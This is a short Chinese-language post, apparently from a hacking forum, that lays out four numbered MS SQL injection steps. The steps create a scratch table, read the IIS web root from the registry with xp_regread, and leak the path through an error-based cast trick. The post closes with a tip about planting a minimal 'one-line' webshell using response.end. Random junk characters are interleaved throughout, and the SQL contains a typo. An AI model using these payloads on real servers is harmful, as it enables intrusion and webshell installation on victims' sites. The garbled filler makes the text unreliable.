1、drop table [jm_tmp];create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000) null)-- 创建表3 u d: x0 d: e3 ?: s
$ D$ P8 S" Q3 X, t; m3 J. q8 h
; I* O+ b' ^. f1 @ 2、 delete [jm_tmp];insert [jm_tmp] exec master.dbo.xp_regread ’HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’-- 将网站目录插到表字段中
6 l. M$ m& u- o$ f5 a0 D& D" t3 v* x& r5 Q$ H2 u
7 i2 k3 F+ J1 l 3、and (select top 1 cast([data] as nvarchar(4000) char(124) from [jm_tmp] order by [data] desc)=0 ’//暴出字段
/ _( l) w7 n* }1 _" R- S
& _ X L1 s! o! `' d
1 {4 [, Y) L# l0 G+ [! Z8 P 4、drop table [jm_tmp]-- 删除此表。6 G* ]8 }8 }2 P
( i: r2 J5 M2 J) A% l6 G4 a
; G+ A. y: A F! H) V# n9 C另附上备分专用一句话
; v0 k; n2 N: o n3 N& ] 加个response.end会有不一样的效果,也就是插入一句话后所有的代码都无效,在一句话这里打止,也就减小了webshell的大小.
& d7 ^* m r9 B |